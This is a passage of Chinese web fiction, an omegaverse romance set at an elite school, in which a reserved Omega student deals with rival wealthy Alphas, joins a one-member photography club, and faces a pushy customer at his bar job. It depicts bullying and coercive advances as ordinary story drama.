这是一间特殊的房间,四周都被一种柔软的材料包围,避免Alpha或者是Omega发/情/期失去理智伤到自己,头顶高速运转的机器能在短时间内更新空气。
严作凡保持着礼貌克制的笑容,在大致询问了事情的前因后果后,从椅子上站起来,做出将要离开的姿态,“赵同学,你可以放心,学生会会给你一个满意的回答。”
赵应随:“你们会怎么处理李任声?”
严作凡用笔轻轻敲击记事本,“学生会开除李任声的原因是他的违规记录达到了上限,学生会此前也有多次警告。”在严作凡看来,李任声把矛头指向赵应随的这种行为实在是可耻。
“在公共场合使用违禁药物,险些造成公众事故,随后大概会移交司法部门,学生会会提交有关证据。”
赵应随想,这件事可大可小。毕竟这次事故的受害者只有赵应随一人,如果李家愿意竭尽全力保下李任声,李任声甚至可能连牢都不用坐,但是……
任胜寒见赵应随扭头看他,挑眉一笑,邪性十足。
和任胜寒作对,李家应该不会犯傻。
好消息:以后不会有像李任声那样的人再来招惹自己。
坏消息:换成了更难对付的人。
赵应随叹了口气,自从进了奥尔斯顿,自己叹气的次数就越来越多。
邵祁眼巴巴地看着赵应随,手指在特质的玻璃上留下指印。
哦,还有只小狗当帮手。
赵应随对着邵祁粲然一笑,春水重新潺潺流动,漾起层层涟漪。
邵祁难得有些不好意思,本能地想要低下头,却舍不得赵应随眼中难得的笑意。
任胜寒拧住眉头,心中十分不爽,他还没有被人忽视过,何况是和一个平民在一起的时候。
同样被忽视的严作凡轻咳两声,遮住半张脸的信息素过滤器下的笑容几乎维持不住,他打开门,在赵应随的目光中说道:“如果赵同学的身体已经无恙的话,请随我出来吧,毕竟赵同学此前也违规多次,需要受到点惩罚。”
赵应随:“……”
禁闭室的门被打开,任胜寒活动着肩膀,慢悠悠地走出来,邵祁连忙跑到赵应随面前,上看下看,查看赵应随有无不妥。
任胜寒嗤笑一声。
严作凡推了一下镜框,“任胜寒和邵祁同学,多次故意伤人,记大过一次,检讨三千字,跑操场十圈。”
面对赵应随,严作凡语气明显变的柔和,“赵同学出于正当防卫伤人,情有可原,写检讨一千字,还有……到学生会工作一个月。”
比起对AAlpha们的惩罚,赵应随的对待可以说是双标到极致了,没有记过,甚至还得到了学生会工作的机会,这究竟是惩罚还是奖励?
赵应随还没来得及有什么反应,任胜寒就开口讽刺道:“严作凡,双标也不是这么个双标法。还有,真当你们学生会是让人趋之若鹜的好地方吗?”
严作凡冷哼一声,冷声道:“任二少爷,与其有空评判学生会,不如先考虑考虑自己,你的违纪记录数量也要达到退学的上限了。”
空气中的火药味逐渐浓重,眼看着两个Alpha又要开始唇枪舌剑,赵应随立马道:“多谢会长好意,但我不适合学生会,请换成其他惩罚吧。”
一旁的副会长冷汗直流,这还是第一个拒绝学生会或者严作凡的Omega。多少人竞争地破血流想要进入学生会工作,这个珍贵的机会却被Omega轻飘飘地放弃了,简直闻所未闻。
面对严作凡的“为什么”,赵应随冷静地回答:“学生会空调温度太低了。”
严作凡、副会长:?
任胜寒忍不住笑出声,赵应随可真有意思。
经过一番讨价还价,赵应随只需要写个三千字的检讨书就好。严作凡百般无奈地把赵应随送出门,并承诺如果赵应随改变想法,他随时可以加入学生会。
赵应随点头,穿着邵祁的衣服离开了低温的学生会。
三人离开后,副会长小心翼翼地打量着严作凡的神情,却惊讶地发现会长此刻心情还算不错。
办公桌前,严作凡打开赵应随的违规记录,一边低声念道“赵应随”三个字,语调缱绻,一边用鼠标点击页面上的“清空”。
赵应随违规记录被全部清空,严作凡摘下眼镜,眼睛弯成月牙的形状,带着玩味的笑意,“别让我失望。”
………
入学一周后,万众瞩目的社团招新活动在操场如期举行,从马术、品酒到电竞,类型五花八门,没有想象不到的社团。
赵应随原本不打算加入,但是被班长小心翼翼地提醒,必须要加入一个社团,算学分的。
赵应随:“……”贵族学校好麻烦。
于是他独身一人来到操场,至于邵祁,他一早就被邀请加入篮球社,此时正在忙入社的相关事宜。
走走停停,赵应随没有遇到感兴趣的社团,有些社团固然有趣,但没达到能让赵应随加入的程度。
赵应随停下脚步,他身后的那群人已经跟着他很久了,他无奈回头看,人群瞬间作鸟雀般一哄而散,有些实在跑不出去的,望天望地,眼睛都要黏在那一沓社团传单上去了。
有的人做作地摆着姿势,过了一会儿,却猛然惊觉,赵应随早已消失不见,只能懊恼地叹息。
赵应随戴上口罩,左拐右拐,为了甩开跟踪他的人,他特意往人群密集处去,不知不觉走到马场附近,广场中央人头攒动,学生们团成个圆,时不时穿来响彻云霄的惨叫声和此起彼伏的起哄声。
赵应随停下
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脚步,悄无声息地靠近人群,任胜寒懒懒地坐在椅子上,两条长腿交叉放在面前的的透明茶几上,手里把玩着一枚飞镖,镖尖泛着锋利的冷光,十几米开外,一个两米多高的镖盘立在草地上。
赵应随刚刚听到的惨叫声,就来源于被固定在镖盘上的一个身穿黑色校服的男生,男生头上顶着一个脆红的苹果,嘴里被塞了一块手帕,四肢被尼龙绳固定,距离男生太阳穴几厘米的地方,飞镖牢牢地插入盘面,如果投镖人轻移一些,男生就有性命之忧了。
此刻,男生的身体呈现出一种神经的抖动,汗水沿着脸部轮廓而下,滴入草地,在一旁观看的学生哄笑起来,纷纷嘲笑男生的胆小如鼠的样子。
欣赏了一会儿男生难看的样子,任胜寒抬高胳膊,裸露在外的小臂上肌肉隆起,将衬衫袖口撑满,一种压迫性的力量感迎面而来,任胜寒闭上一只眼睛,用右眼打量着镖盘,偶尔轻轻移动飞镖的位置,像是屠夫拿起最锋利的屠刀,比划着割取猎物最鲜美可口的部位。
一旁的桌子上,几个飞镖散落在桌面上,赵应随凝视几秒,轻轻活动手腕。
任胜寒确定好位置,在发力的一瞬间,力量倾泻而出,飞镖即将脱手,任胜寒的眼眸却突然缩小成一点,看到了意想不到的画面:男生头上的苹果被侧面飞来的飞镖穿透,溢出的几滴汁液飞溅到男生额头上,男生被吓得晕死过去。
任胜寒下意识往飞镖投来的方向看去,长发Omega站立在一旁,神色淡然,眉宇间有几分少年意气。
周围的学生们神色各异,惊讶有之,玩味有之。
有人喃喃自语道:“他怎么做到的……”十几米的距离,哪怕是职业选手也未必能投准,而赵应随甚至都不是正对着镖盘投的镖。
任胜寒放下手臂,神色淡淡,嘴角勾起若有似无的微笑,好像丝毫不在意被人破坏了他的游戏,他把脚从茶几上放下来,向赵应随招手示好:“又见面了,赵应随。”
“嗯。”赵应随用眼神向任胜寒示意,镖盘上的男生已经晕过去。任胜寒耸肩,向身后的人挥手,男生很快就被抬走。
“你要加入我们社团吗?”任胜寒挑眉,“正确的选择,你飞镖扔的很好,嗯……恐怕连社长也不如你。”
飞镖社社长站在一旁,战战兢兢,假装自己是个透明人,任胜寒都这么发话了,恐怕自己很快就要卸任了。
赵应随:“……”他只是碰巧经过,顺便出手救个人罢了。
见赵应随不语,任胜寒失去了耐心,将外套搭在肩膀上,心中的火气愈盛,如果面前的人不是赵应随,他都会以为对方在挑衅他,并且已经成功了。
赵应随仿佛看待任胜寒头上熊熊燃烧的火焰,知道他把人惹毛了,于是很快地说了一句“再见”,准备远离这个是非之地。
任胜寒气笑了,伸手欲抓住赵应随的手腕,却被一股攻击性极强的信息素制止,如同是雪花覆盖着白檀,这是学生会会长的信息素。
很好,又来一个,赵应随想。
9. 第 9 章
任胜寒面色不善,“多管闲事。”
严作凡看着任胜寒的左手,青筋明显,此刻正握着赵应随纤细的手腕。严作凡推了推眼镜。
赵应随尝试从任胜寒手掌的桎梏中挣脱,无论用多大的力气,任胜寒还是不松手,赵应随低声道:“松开。”
任胜寒听了赵应随的带着怒意的话语,下意识地放开手。
赵应随戴上口罩,揉揉手腕,一言不发地往人群外走,两个Alpha的对峙,还带着一个Omega,不用想都知道传言会编排自己,他实在厌恶这种幼稚的修罗场。
任胜寒看着自己空荡荡的手心,“操。”
跑什么。
严作凡把考察社团活动的记录表递给副会长,迈着长腿跟上去。
冰雪的气味一直萦绕在鼻尖,像是山巅最晶莹纯洁的雪,这种味道,让赵应随想起梦中男人死时,雪的气味也是如此,赵应随心中一动,停了下来。
严作凡看到赵应随停下,走到赵应随身前,打量着他的神色。
赵应随有些后悔,严作凡是比任胜寒更为麻烦的存在,他直截了当地示意:“严会长,什么事?”
严会长。
严作凡笑容一滞,“严会长,好生疏的称呼,我们已经见了不少次了吧?”
?一共也才两次吧。
赵应随真的不理解他们这些“贵族”脑子里在想些什么,只是个称呼而已。
严作凡看到赵应随沉默,也突然意识到自己有些大题小作,一个“平民”对自已称呼什么重要吗?镜片下寒光一闪,他凝视着眼前的Omega。
Omega好像心情不愉。白色的口罩掩盖住Omega的下半张脸,口罩有些宽大,也或许是Omega的脸过于小,与Omega的脸不是很贴合。Omega只有漂亮的眼睛和光洁的额头裸露在外,因为身高的原因,严作凡可以清晰地看到赵应随浓密的眼睫,漂亮的眼睛弧度,几缕长发从耳后落下,随风而动。
严作凡想:Omega有这样的美貌,自己感兴趣也不并意外。
整理好思绪,严作凡那种自信从容的气质又回来了,好像刚才的茫然若失只是昙花一现。
“你可以叫我严作凡。”严作凡说,“刚才任胜寒威胁你了?”
赵应随没喊他的名字,“没有,碰巧遇见。”
话虽如此,严作凡的脸色也没有变好,“是吗?你加入他们社团了?”
那种都是“贵族”的社团,他进去干什么。”
赵应随:“没有,我还没有确定。”
严作凡脸色肉眼看见的变好,语气也变得愉悦,“不急,你可以慢慢考虑,顺带一提,加入学生会能得的学分可比社团多得多。”
……没完了是吧。
赵应随无奈,说出实话:“如果不是校规强制规定,我一个社团也不想加入。”
“那我把校规改了。”严作凡下意识说,等到他意识到自己说了什么后,难得怔愣住了。
赵应随感到棘手,严作凡又发什么疯?
他摇头,“不必了,我会想办法解决的。”说完,赵应随转身离去,严作凡留在原地,许久未动。
………
一步三个台阶,赵应随到达了目的地。
A301,确认好门牌号无误,赵应随抬手敲门,没有人回应,犹豫片刻,赵应随尝试按下门把手,门没锁。
门内,红色灯光包裹着整个空间,冰冷的仪器寒光闪烁,门外是阳光灿烂的晴天,走进房间,犹如从天堂堕入地狱,被业火吞噬,鲜血淹没。
寂寥无人,胶卷浸泡在透明的液体中,市价不菲的相机随意地被摆在一角,各种洗照片所需要的仪器井然有序地排列,
赵应随往深处走去,身后的门悄然合上。
一整面墙壁上全是已冲洗好的照片,赵应随慢慢走着,眼光从这些照片上轻轻掠过。从瑰丽壮观的极光,巍峨高耸的喜马拉雅山脉,再到夏威夷澄澈海水下的珊瑚礁,长满青色苔藓的石头,照片呈现出一种极致的生命力。
“滚出去。”低沉又带着些许沙哑的声音在耳边突然响起,赵应随一顿,往声音源头看去,一角的沙发上躺着一个Alpha,Alpha用手臂掩着眼睛,一只胳膊自然地垂下,食指和中指之间夹着一支燃尽了的香烟。
赵应随从口袋里拿出一张传单,“摄影协会招新。”
那或许不能被称作传单,只是一张白纸上写了几个字,字迹凌厉苍劲:摄影协会招新,A301,敷衍的很明显,贴在公告栏的最不起眼的一角。
赵应随看到它时,许多掉下的传单已经被人踩过好几遍,贴在上面的传单也大多数花里胡哨,恨不得吸引所有人的注意力,相比之下,这张白纸就素简多了。
白纸随风而动,摇摇欲坠的样子,赵应随捏住它的下沿,正在端详着上面的内容,一阵微风掠过,白纸终于落入赵应随手中。于是赵应随来到A301,进入这个由一个Alpha和一个房间组成的“摄影协会”。
Alpha“啧”一声,略显烦躁地站起身来,一步一步向赵应随走来。随着距离的缩短,赵应随先注意到Alpha很高,比自己还高半个头,肌肉线条流畅,宽肩窄腰,红色的灯光下也俊美不减,Alpha神色寡淡,面部轮廓是少见的深刻,五官线条凌厉,宛如能工巧匠的最完美的作品。
渐渐的,Alpha和他的距离超出了陌生人之间的社交距离,赵应随甚至能感受到Alpha呼吸产生的细微气流。
这过了界,赵应随下意识往后靠去,Alpha没有就此停止,反而更加逼近赵应随。
赵应随皱眉,“你……”话还未说完,赵应随就对上Alpha眼睛,下三白,透露着一股寒意。
是那个骑摩托车的人,赵应随一愣,顺着Alpha的动作靠在墙上,两人之间形成了别人进不去的私密地带。
赵应随难得哑声,Alpha一只手撑着墙壁,另一只手朝着赵应随的右脸移来,赵应随下意识想要推开Alpha,却听到开关的“咔哒”声,红光熄灭,整个房间陷入一种暧昧的昏暗中。
压迫
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感骤然离去,赵应随怔愣着,看着Alpha拉开窗帘,灿烂的阳光倾泻而下,Alpha单手插兜,懒懒地看他,心不在焉的说:“之前做过摄影吗?”
赵应随如实回答,“没有。”
“对相机了解多少?”
“会拍。”其实远不止如此。
Alpha哼笑一声,终于将赵应随的影子装入眼中,“平民?”
将烟头扔进垃圾桶,Alpha直白地反问道:“我为什么要招一个连入门都没有入的Omega进来?”
赵应随:“根据校规,社团的人数为两人及以上,低于两人的社团,招新活动后将会被学生会取缔。”而招新活动即将结束,目前只有赵应随一个人来到这里。
Alpha发出一声意味不明的低笑,像是被说服了一样,随手打开抽屉,从里面抽出一张报名表放在桌子上,“写吧。”
赵应随拿起笔,仔细填写着信息,报名表的最后一栏需要社长的签名,赵应随抬起头,无视Alpha散漫的目光,将报名表推给他,“签名。”
Alpha拿过笔,在空白处签下名字:何衷归。
何,很少见的姓氏,赵应随若有所思地想。
填完表再交到学生处即可,赵应随收好报名表,转身离去。
“停下。”赵应随转身,一把钥匙呈抛物线被扔过来,赵应随下意识接住,凹凸不平的钥匙硌着掌心。
“随时可以来。”何衷归静静看着他。
………
夕阳西下,赵应随踏着点赶到学生会,将报名表交给负责此事的副会长。
副会长看到最下方的签名,愣在原地,脸上写满了不可置信,仿佛看到铁树开花,春水逆流。
赵应随:……他还是第一次见到副会长失去表情管理。
几秒钟后,副会长很快收敛了震惊,极力维持着正常的神色,“你可以回去了。”
待到赵应随身影消失不见,副会长连忙敲响了会长办公室的门,在得到应允后,快步走进,将赵应随地报名表放在办公桌上。
“会长,你看。”
历来稳重的副会长难得露出这么着急的样子,严作凡带着笑意拿起报名表,随后笑容僵在了脸上。
钟表中的秒针滴答滴答转动,严作凡轻轻放下报名表,低声道:“错误的选择。”
副会长激动地控制不住声音:“是啊!会长,你可要帮赵应随摆脱何衷归的魔爪。”
严作凡:“我为什么要帮一个平民?”
“可、可是……”副会长一时不知如何接下去,“您不是……”
严作凡重新低下头浏览文件,“出去吧。”
副会长嘴唇无声地嗫嚅了两下,最终默默关上了门。
严作凡拿起笔,“啪嗒”,笔早已断成两截。严作凡皱起眉头,有什么事正在朝着他不可控的方向上前进。
A班,以任胜寒为中心,形成一片真空地带,他掀起眼皮,“何衷归?”
“是、是的,二少。”
“哈,有意思。”
10. 第 10 章
【到底发生什么了?】
1L楼主
如标题所示,今天上午到底发生啥了?赵应随、邵祁和rsh站在一起,怎么就突然被学生会带走了?
2L
当时在附近,隐约闻到了Omega信息素的味道
3L
举手!我当时站在二楼,看见了个大概,rsh先开车堵住了赵应随的路,说了两句什么,突然有个人冲上来拿着刀往赵应随身上扎去,不过赵应随应该没事,rsh一脚把人踢开了。
4L
啊??不是吧,奥尔斯顿的安保菜成这样?
5L
菜,就多练(比划)
6L
笑死,贱命一条,谁爱拿就拿吧
7L
楼上好悲观……
8L
我的关注点在:rsh咋又和赵应随扯上关系了?
9L
难道是因为赵应随长得好看,还是为了李任声的事找他算账啊?
10L
苍蝇不叮无缝的蛋,赵应随也不是什么好主,怎么就那么巧,刚好让rsh英雄救美上了,欲擒故纵啊欲擒故纵
11L
对一个Omega恶意这么大干什么?
12L
赵应随不是那种人,10L你有证据吗就造谣!如果有证据,就光明正大地拿出来让大家看看!造谣一张嘴,恶不恶心?别是得不到赵应随的恶臭Alpha,只能靠yy赵应随的不是满足自己见不得人的变态心理!
孙杰平躺在床上,屏幕的幽幽白光照亮了他的脸庞,手指纷飞,快速地打字,为赵应随鸣不平。将对方喷的闭麦删除评论后,孙杰平轻呼一口气,将手机按在怀里,思绪万千。
孙杰平在班里一直是个透明人,从来没想过能和赵应随有什么联系,有时他觉得自己的名字和赵应随三个字在一张A4纸上,都是莫大的荣幸。
他不知道飞镖社是贵族们的俱乐部,当他小心翼翼地闯入人群,结结巴巴地提出申请时,他怎么也没想到自己会被当作没有尊严的畜生绑在案板上,任人宰割。
看着任胜寒瞄准自己,他绝望地闭上了眼睛,如果有神明,请救救自己。这时候,赵应随出现了!他用飞镖扎透了自己头上的苹果,任胜寒转移了注意力,自己再一次成为了无人问津的存在,但也保住了自己为数不多的尊严。
赵应随。
他从不敢在念出他的名字,只敢在心里小声喊出,如最虔诚的信徒。
20L
楼上战斗力好高(大拇指)
21L
赵应随是什么体质啊,这么快就有追随者了,也是,又美又强谁不喜欢(捧脸)
22L
我同桌学生会的,他说,那人袭击无果后,不知道用了什么东西,赵应随一下没了体力,昏了过去。任胜寒当时离他最近,下意识想把赵应随抱起来,人还没抱住,就被邵祁强硬地接到自己怀里,任胜寒正准备发火呢,赵应随就安心地把头放在邵祁颈窝里了,任胜寒当时的脸色哈哈哈哈哈哈
23L
这是什么绝美修罗场
24L
求任胜寒当时的心理活动
25L
凭什么后来者具上?因为后者又争又抢~
26L
脑子里已经有声音了,话说任胜寒才是后来者吧……
【折叠若干楼】
100L
卧槽!卧槽!严大会长怎么也加入修罗场了?
101L
沧桑点烟.JPG我当时就在严会长身后,原本严会长看着学校里一派欣欣向荣的景象还勾着嘴角呢,然后就不经意看见任胜寒抓着赵应随的手腕,一下子脸就拉下来了,我就没见过严会长这么心急的样子
102L
听你这么描述,我感觉那天严会长把赵应随拉到学生会都不意外
103L
你们网速也太慢了,隔壁帖子已经爆料出来了,严会长确实邀请过
104L
长得像赵应随这么好看就能进学生会工作吗!(抓狂)
105L
学生会一直都是个香饽饽啊,去年有人凭借自己的学生会工作的经历直接入职某世界五百强
106L
所以这次社团招新,赵应随应该进了学生会吧
107L【匿名】
不是,赵应随加入了那位的摄影协会
108L
哪位??
109L
107L说的不会是……那位吧?
110L
A301啊!!!(大叫)
111L
咋可能,何大少爷的脾气你们不知道啊,说他有厌O症我都信
112L
匿名怎么不说话了?假的吧
113L
还好还好,自己吓自己
114L【匿名】
嗯
115L
啊???!!!真的啊(目瞪口呆)
116L
先是任胜寒,再是严大会长,最后是何zg,赵应随到底是什么魅魔体质……
………
周五放学前,赵应随收到了何衷归的信息。
何衷归:放学后来A301。
赵应随有些意外,打开聊天界面回复:放学后打工,周一去可以吗?
何衷归:时间
赵应随:19:00
何衷归:我送你。
有车不坐白不坐,赵应随:好。
赵应随敲门后走进去,何衷归靠在窗口,乌沉沉的眼眸自下而上抬起,让人心颤。
何衷归用眼神示意赵应随,赵应随拿起桌子上的相机,沉甸甸的,是某个知名公司限量发售的绝版型号,在二手交易网站已经炒出天价。
这么轻易地给了他,真是有钱任性。
赵应随有眼神询问何衷归的意图,何衷归看了好半天,才慢吞吞地回答:“拍几张照片,周一来给我。”
赵应随:“嗯。”
何衷归从柜子里拿出头盔丢给赵应随,随手拿起钥匙,“走了。”
赵应随和何衷归来到停车场,何衷归长腿一跨,启动发动机,指节分明的手指轻点把手,薄唇轻启:上来。”
赵应随迟疑了一下:“你的头盔?”
何衷归含笑看他:“我不戴。”
……行吧。
赵应随戴好头盔坐上摩托车,两人挨得很近,赵应随的大腿内侧紧贴着何衷归腰际,赵应随皱眉,轻微挪动身体,想要拉开两人之间的距离。
何衷归车把一拧,摩托车疾驰而出,赵应随因为惯性,下意识圈住了何衷归的腰,脸颊隔着头盔贴在何衷归挺拔宽厚的背上,像幼鸟归巢般,汲取安全感。
呼啸的风声中,何衷归的轻笑声顺风传入赵应随耳中,赵应随皱眉,松开手臂,拉开两人的距离。而这时何衷归突然加快了行驶速度,像是故意似的。
赵应随:……幼稚。
好像魏中区没有限速一般,不过几分钟,赵应随就到达了目的地。
赵应随讲头盔还给何衷归,长发些许凌乱,一双眼睛依旧又明又亮,如同满天星河,“走了。”
不就是装嘛,他也会。
何衷归不言,低头轻笑,目光穿过赵应随的身影与另一个Alpha对上,邵祁目光冰冷,后槽牙紧咬,见到赵应随过来,立马收起如同领
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地被侵/犯的神色,接过赵应随的书包,低声问为什么是何衷归送他过来。
何衷归收回目光,神色淡淡,驾驶着摩托车离去,留下孤傲冷漠的背影。
…………
华灯初上,赵应随把头轻轻放在车窗上,随着公交车的前行,感受车身的抖动。阖上双眼,赵应随在晃荡中得到片刻小憩。
“终点站到了——”
赵应随下了车,空无一人的街道上只有路灯与自己同行,七拐八拐,小巷里人声鼎沸。路旁的饭店,几个Alpha们喝酒划拳,酒气熏天;昏暗的灯光下,上了年纪的老婆婆正在收摊;几个游手好闲的Beta没个正形地站在路边,见赵应随走过来,其中一个Beta朝赵应随吹了个流氓哨,却被同伴们告知那是个Alpha。
居民楼林立,大多数人家已经熄了灯,物业早早给路灯断了电,赵应随轻车熟路地往里走,打开单元门。
“汪汪汪。”
垃圾桶旁边,漆黑的小狗与黑暗融为一体,如果不是小狗露出的舌尖,赵应随都看不出垃圾堆里有一只小狗。
“汪汪汪。”见赵应随并不搭理它,小狗跑上前来,楼道里的声控灯亮起,赵应随看到小狗的全貌,脏兮兮的毛发一绺一绺的,好像比以前更大了些。
赵应随:“别跟着我。”
小狗听不懂他什么意思,因为腿太短上不去楼梯,只能眼巴巴地看着赵应随,期待赵应随的心软。
我才不会心软,赵应随想,却下意识放慢了脚步。
比平常慢了好几分钟,赵应随才到了家门口,微微低头,小狗勉强爬上了四楼,此刻气喘吁吁地趴在地上。
赵应随随意看了一眼,用钥匙打开门,头也不回地走进去。
赵应随只有周末才回来,空气中弥漫着许久未打扫的气息,家具上都蒙上一层灰,窗边的绿植枝叶萎靡。
放下书包,赵应随拿起抹布开始打扫,外婆的遗照放在餐厅,赵应随擦去上面的细小尘埃,摆回原位。匆匆打扫完,已经是凌晨,冰箱里有耐储存的食物,赵应随拿起一根火腿肠,顿了顿,不抱希望地打开门。
小狗看着赵应随柔和的眼眸,歪头嘤嘤,赵应随剥开火腿肠的外包装,伸手喂到小狗的嘴边,小狗像是饿了许久,狼吞虎咽地吃着来之不易的美味。
赵应随卧室里拿出相机,对着小狗轻轻按下快门,拍下了第一张照片。光线不好,构图糟糕,色彩单一,照片的主角还是一只小土狗和一根吃了一半的廉价香肠。
用这么昂贵的相机,简直是暴殄天物。
小狗吃完后,可怜兮兮地看着赵应随,赵应随无情道:“没了。”
小狗:嗷呜。
赵应随关上了门,机体冷冰冰的手感提醒着赵应随,他还没有资格能够养一只小狗。赵应随只有周末才回家,……学校宿舍禁止饲养宠物,因为有过前例,宿舍大门前有个门专门扫描是否有活物混进去,而且……他自己尚且自顾不暇。
赵应随的周末乏味且单调,白天去面包店打工晚上去酒吧做服务生,昼夜颠倒,眼睛下挂了两个大黑眼圈,他倒是没忘记何衷归的“要求”,只是他忙的脚不沾地,哪里有时间好好拍照。
何衷归一言不发,半响,抬起头来,“你周末很忙?”赵应随拍的照片,除了面包店的各式面包,就是居民楼和落日,场景单一。
又不是所有人都是大少爷。
赵应随:“嗯,打工很忙。”
“拍的不错。”何衷归指尖轻点,“你养了狗?”
赵应随淡然道:“没有,小区里的流浪狗。”
何衷归轻轻嗯了一声,没再说话。
赵应随:“走了。”
赵应随走后,何衷归打量着照片上的小狗,若有所思。
11. 第 11 章
任胜寒一目十行地看着手里的资料,看完最后一行字后,将几张薄薄的纸随手甩到桌子上,“下去吧。”
身旁的男人犹豫着开口:“少爷,有件事不知当讲不当讲。”
任胜寒:“说。”
男人战战兢兢,“我们调查赵应随时,有一股势力一直在阻碍着我们,因为这股势力的介入,这次调查费了我们不少功夫。
“通过他们留下的蛛丝马迹,我们发现这股势力……好像和严家有关。”
严作凡。几乎瞬时,任胜寒就想到了这个名字,他嗤笑一声,挥手示意男人离开,将玻璃杯中的液体一饮而尽。
苏梅用手指玩弄着头发,打量着任胜寒的神色。“严作凡还真是处处与你作对,”他顿了顿,补充道:“这个Omega到底有什么厉害之处,能让严作凡这尊大佛动了凡心。”
严家植根于学术界与政界,严家第一任家主桃李满天下,教过的学生活跃在各个行业,如同大树的分支,现任的严家家主接过了这些人脉,在首都也是极有话语权的大人物。
任家,则是依靠外贸发家,早些年乘上改革的春风,不少任家人纷纷前往沿海地区,成为了第一批南下的商人,积累足够多的财富后,顺势而行,拜入某位官员门下,辉煌至今。
两家家主在首都也是有头有脸的人物,在明面上井水不犯河水,只是人心不足蛇吞象,为着城南的一块地皮,两家的冲突扩大:严家一直压着不让开发,任家对于这块肥肉不想松口,于是一直僵持到现在,有个小十年吧。
两家都是庞然大物,牵一发而动全身,轻易不会撕破脸皮,免得其他人趁虚而入,但他们也默许小辈们敌对、厮杀,将对方当作继承人的试金石。
这种情况下,任胜寒和严作凡的关系自然是剑拔弩张,势如水火。恐怕赵应随也没想到,自己在无意间成为了风暴的中心。
任胜寒捏了下挺拔的山根,勾起一抹势在必得的笑,“我看上的Omega,怎么能是一般人。行了,换地。”
苏梅扶额,“任少爷,我才刚坐下,小情儿还没来呢!哎哎哎……”看着任胜寒离去的背影,苏梅无奈起身追上,“真服了……”
夜色酒吧,作为魏中区新兴的酒吧,名字暧昧且俗,服务亦然。一楼大厅中心的高台上,两根钢管竖立,Alpha和Omega双双缠满地跳着舞,迷离的灯光闪耀,夜色撩人。
苏梅坐在二楼的包厢里,透过玻璃看着楼下群魔乱舞的人群,心道:不知道哪个Omega是赵应随?按捺不住心中的好奇,苏梅开口问道:“哪个是赵应随?”
任胜寒拨弄着怀中Omega小巧的下巴,没正面回答这个问题,“等他过来,你就知道了。”
苏梅没好气地坐回沙发上,漂亮精致的Omega自然地坐在Alpha的大腿上,面容魅惑,不断挑逗着面前Alpha的神经,心中暗暗祈祷:千万别让赵应随上来。
………
赵应随将一瓶酒放在桌子上,随后低着头准备退出房间,躺在沙发上享受美人服务的Alpha眼前一亮,用手指着赵应随,“你,留下。”
“我是Alpha。”赵应随语气没有任何起伏。
“?”Alpha仔细感知着,惊奇地发现赵应随所言不虚,他摸着下巴思考半响,“正好没试过Alpha的滋味……”眼前的Alpha实在是漂亮清冷地惊人,如果吃不到嘴里,自己肯定会魂牵梦萦。
赵应随冷淡道:“我不卖/身。”
“出来卖/的还立什么牌坊……”Alpha一边说着一边伸手要抓赵应随清瘦的手腕。
赵应随眉头一皱,被赵应随拒绝后还要强求的客人不少,不过赵应随也不是好惹的人,上天为他开了一扇窗,自然也为他开了一扇门,极高的武力值是他在这个混沌恶俗的世界里立身所在。
赵应随眉目一凛,刚要给Alpha一点教训,就被闯入门的领班拉住胳膊往外走,领班一边冲客人讨好地笑着,一遍大力推着赵应随出门,生怕这祖宗再惹出什么事情来。
赵应随面无表情:“……”
领班解决好这个难缠的客人,从兜里拿出手帕擦着头上的冷汗,有些后怕地说:“哎呦,终于找到你了,我的祖宗。”
赵应随扭头就走,领班忙不迭地拉住赵应随的衣角,“一万块,这是客人开出的价格,只见面不本垒。”
赵应随头也不回地往前走。
“两万!”
“三万!祖宗,他们就点了十万块的酒水,你三我二还不行吗?”
眼见赵应随的衣角就要离开手心,领班肉痛的说,“之后点的酒水全记到你账上,我一分不要!”
赵应随纡尊降贵地问:“房间号。”
领班欣喜地说:“201。”
赵应随点了点头,往最里面的包厢走去,“记得算我加班费。”今天是周二,他从奥尔斯顿逃寝出来顶的别人的班。
领班:“……”赵应随可真是让人又爱又恨。
赵应随敲了两下门,隔着厚厚的包厢门,传来了沉闷的男声:“进来。”这个声音有些熟悉。不过赵应随也没多想,或许是熟客吧。
赵应随拉开门,迎面对上任胜寒若有似无的笑容,沙发的另一旁,一个Alpha看着赵应随目瞪口呆。
赵应随微微皱眉,垂放在腿侧的指尖下意识地移动,却被理智制止,他今天只带了信息素隔离贴,没有服用药物。
微微抬眼,赵应随对上任胜寒的眼眸,没有任何靠近的意思,“客人需要什么?”
苏梅看着眼前人,心中总算明白了为何任胜寒和严作凡对他念念不忘。
赵应随身高不如一般Omega娇小,身形是一种介于少年与成年之间的抽条,如挺拔的松柏,长发及腰,三千青丝如瀑,更抓眼的是他的那张脸,多一分则浓艳,少一分则寡淡,清泠中揉杂着俊美。
直到赵应随出声,苏梅才从惊叹中回神,打量着怀中Omega僵硬的笑脸,顿时觉得索然无味。
任胜寒:“店里有的都来一瓶。”
赵应随点了点头,转身离去,“好。”
“停下,”任胜寒勾起一抹恶意的笑,“先让我舒服一下?嗯?”
赵应随淡然道:“我不卖/身。”
苏梅:“咳咳咳……”身旁的Omega贴心地递过来一杯清水,就着水好不容易把咳意压制住,苏梅抬头看见任胜寒无语的目光。
苏梅:“……”第一次见到敢拒绝你的Omega,我震惊一下怎么了?话说任胜寒你真的有点油了,下一句你不会要说“Omega,你成功地引起了我的注意力”吧。
赵应随见任胜寒没再说话,于是默默离开,通知服务生搬酒,夜色里酒的种类可不少。
带着几个身高马大的Alpha送完了酒,赵应随语气克制,“祝您在夜色有个愉快的夜晚。”
任胜寒举起酒杯:“借赵同学吉言。”
赵应随听到任胜寒带着威胁意味的回答后毫无波澜,带着服务生们退出了门。
苏梅:“他走了?”
“我有眼睛。”任胜寒说。
“你就这么放他走了?我看了他
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的资料,父母双亡,孤身一人,你拿钱拿权压了不就行了?”苏梅不解道。
“你觉得他像其他Omega那样软弱吗?”任胜寒掀开眼皮,“对付他,要欲擒故纵,出其不意。”
苏梅回想了一下赵应随的气质,摸摸下巴,觉得任胜寒说的有理,随之在心里默默为赵应随哀悼,惹到任胜寒可真是他最大的不幸,恐怕大美人要被折腾得很惨了。
门被掩上,赵应随心中有股不祥的预感,依照任胜寒跋扈的个性,他不会这么轻易地善罢甘休。
但是出乎意料的,整个后半夜都无事发生,任胜寒的包厢再没有喊过人。赵应随看着腕表,他要下班了。
换衣间里,赵应随把工作服放到柜子里,背上包准备离开,却被人拉住了衣角。
“赵、赵哥。”赵应随低下头,才能看到拉住自己衣角的瘦弱单薄的Beta。
江可眼角和嘴角都有红痕,裸/露在外的皮肤上也是青紫交错,他冲赵应随讨好地笑,“你、你要下班了?”
